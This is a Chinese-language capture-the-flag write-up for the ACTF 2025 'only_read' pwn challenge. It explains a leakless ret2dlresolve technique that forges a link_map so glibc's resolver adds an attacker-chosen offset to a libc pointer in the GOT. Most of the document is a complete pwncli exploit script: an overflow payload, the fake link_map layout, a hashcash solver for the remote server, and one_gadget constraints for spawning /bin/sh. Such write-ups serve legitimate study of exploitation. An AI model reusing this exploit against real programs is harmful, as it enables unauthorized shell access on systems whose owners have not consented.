这题考点就是linkmap挟持的dlresolve
partial reloc 不能leak下的ret2dlresolve
利用思路还是伪造link_map
因为不能leak,这里走的链子是
const ElfW(Sym) *const symtab
= (const void *) D_PTR (l, l_info[DT_SYMTAB]);
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
const uintptr_t pltgot = (uintptr_t) D_PTR (l, l_info[DT_PLTGOT]);
const PLTREL *const reloc
= (const void *) (D_PTR (l, l_info[DT_JMPREL])
+ reloc_offset (pltgot, reloc_arg));
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
const ElfW(Sym) *refsym = sym;
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
lookup_t result;
DL_FIXUP_VALUE_TYPE value;
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) // not enter
{
...
}
else
{
/* We already found the symbol. The module (and therefore its load
address) is also known. */
value = DL_FIXUP_MAKE_VALUE (l, SYMBOL_ADDRESS (l, sym, true)); // this way
result = l;
}
这里计算地址最后的展开是
#define LOOKUP_VALUE_ADDRESS(map, set) ((set) || (map) ? (map)->l_addr : 0)
#define SYMBOL_ADDRESS(map, ref, map_set) \\
((ref) == NULL ? 0 \\
: (__glibc_unlikely ((ref)->st_shndx == SHN_ABS) ? 0 \\
: LOOKUP_VALUE_ADDRESS (map, map_set)) + (ref)->st_value)
也就是l_addr + sym→st_value
因为我们不知道地址,所以l_addr不能和之前一样填libc地址
构造sym在got表附近,让sym→st_value的值为libc地址,而l_addr设置为偏移
由于got表附近很多值,非常容易满足__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) != 0
条件
其他的表动态调调构造风水即可
虽然看上去比较丑陋,但是布局应该通用
writable_addr = bss_addr + 0xa0 - 0x80
pltgot_addr = writable_addr+0x20
symtab_addr = writable_addr
strtab_addr = writable_addr+0x10
jmprel_addr = writable_addr+0x60
target_offset = 0xef52b
# target_offset = libc.sym['exit']
l_addr = (target_offset - libc.sym['read']) & 0xffffffffffffffff
fix = (0-l_addr + writable_addr+0x800) & 0xffffffffffffffff
fake_link_map = flat([
l_addr, # l_addr
# symtab here
0x403fe8+0x10, # sym->st_value
# reloc
# """
# r_offset = 0,
# r_info = 7,
# r_addend = 0
# """
fix,
7,
# 0, # l_name
# 0, # l_ld
# 0, # l_next
0, # l_prev
0, # l_real
0, # l_ns
0, # l_libname
0, 0, 0, pltgot_addr, 0, strtab_addr,symtab_addr, # now idx = 6
[0]*(22-6), jmprel_addr,
])
EXP
#!/usr/bin/env python3
# Use pwncli
# Date: 2025-04-26 18:11:55
# Editor: hkbin
# Usage:
# Debug : python3 exp.py debug elf-file-path -t -b malloc -b \\$rebase\\(0x3000\\)
# Remote: python3 exp.py remote elf-file-path ip:port
import sys
sys.path.append('/home/hkbin/.local/bin/pwncli')
from pwncli import *
cli_script()
set_remote_libc('libc.so.6')
context.arch="amd64"
file_path = "/home/hkbin/Workspace/competition/2025ACTF/only_read/pwn"
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
def cmd(i, prompt):
sla(prompt, i)
def add():
cmd('1')
#......
def edit():
cmd('2')
#......
def show():
cmd('3')
#......
def dele():
cmd('4')
#......
# one_gadgets: list = get_current_one_gadget_from_libc(more=False)
# one_gadgets: one_gadget_binary(binary_path, more)
# CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)
# Shellcode:ShellcodeMall.amd64
# tcache safelinking: protect_ptr(address, next)
# tcache safelinking_de: reveal_ptr(data)
# recvlibc: recv_current_libc_addr(offset(int), timeout(int))
# set_libcbase: set_current_libc_base_and_log(addr(int), offset(str or int))
# set_elfbase: set_current_code_base_and_log(addr, offset)
# burp:
# for i in range(0x10):
# try:
# new_func()
# except (EOFError):
# gift.io = copy_current_io()
# stack = link_map & stack-0x8 = (got offset)
# stack hijack
"""
writable_addr = 可控区域
known_libc_RVA = 已解析的函数在ELF中的偏移,如elf.sym['__libc_start_main']
call_libc_RVA = 想要解析的函数在ELF中的偏移,如elf.sym['execve']
known_elf_got_VA = 已解析的函数对应的GOT表项在内存中的虚拟地址
"""
_dl_runtime_resolve = 0x401026
ret = 0x000000000040101a
write_again = 0x401142
bss_addr = 0x404018+0x500
writable_addr = bss_addr + 0xa0 - 0x80
known_libc_RVA = libc.sym['read']
call_libc_RVA = libc.sym['system']
known_elf_got_VA = elf.got['read']
custom_data = b"/bin/sh\\x00"
REMOTE = True
if REMOTE:
ru("Submit the token generated by `hashcash -mb26 ")
calc_data = r(9).decode()
import subprocess
log2_ex(calc_data)
result = subprocess.run(f"hashcash -mb26 {calc_data}", shell=True, capture_output=True, text=True)
log2_ex(result.stdout)
sl(result.stdout)
ru("Here is your challenge~")
payload = flat([
b'a'*0x80,
bss_addr,
write_again
# b'b'*0x20,
# b'\\x30'
])
s(payload)
pltgot_addr = writable_addr+0x20
symtab_addr = writable_addr
strtab_addr = writable_addr+0x10
jmprel_addr = writable_addr+0x60
target_offset = 0xef52b
# target_offset = libc.sym['exit']
l_addr = (target_offset - libc.sym['read']) & 0xffffffffffffffff
fix = (0-l_addr + writable_addr+0x800) & 0xffffffffffffffff
fake_link_map = flat([
l_addr, # l_addr
# symtab here
0x403fe8+0x10,
# reloc
# """
# r_offset = 0,
# r_info = 7,
# r_addend = 0
# """
fix,
7,
# 0, # l_name
# 0, # l_ld
# 0, # l_next
0, # l_prev
0, # l_real
0, # l_ns
0, # l_libname
0, 0, 0, pltgot_addr, 0, strtab_addr,symtab_addr, # now idx = 6
[0]*(22-6), jmprel_addr,
])
payload = flat([
b'a'*0x80,
writable_addr+0xa00,
_dl_runtime_resolve,
writable_addr,
0,
fake_link_map,
])
pause()
s(payload)
ia()
"""
0x583ec posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
constraints:
address rsp+0x68 is writable
rsp & 0xf == 0
rax == NULL || {"sh", rax, rip+0x17301e, r12, ...} is a valid argv
rbx == NULL || (u16)[rbx] == NULL
0x583f3 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
constraints:
address rsp+0x68 is writable
rsp & 0xf == 0
rcx == NULL || {rcx, rax, rip+0x17301e, r12, ...} is a valid argv
rbx == NULL || (u16)[rbx] == NULL
0xef4ce execve("/bin/sh", rbp-0x50, r12)
constraints:
address rbp-0x48 is writable
rbx == NULL || {"/bin/sh", rbx, NULL} is a valid argv
[r12] == NULL || r12 == NULL || r12 is a valid envp
0xef52b execve("/bin/sh", rbp-0x50, [rbp-0x78])
constraints:
address rbp-0x50 is writable
rax == NULL || {"/bin/sh", rax, NULL} is a valid argv
[[rbp-0x78]] == NULL || [rbp-0x78] == NULL || [rbp-0x78] is a valid envp
"""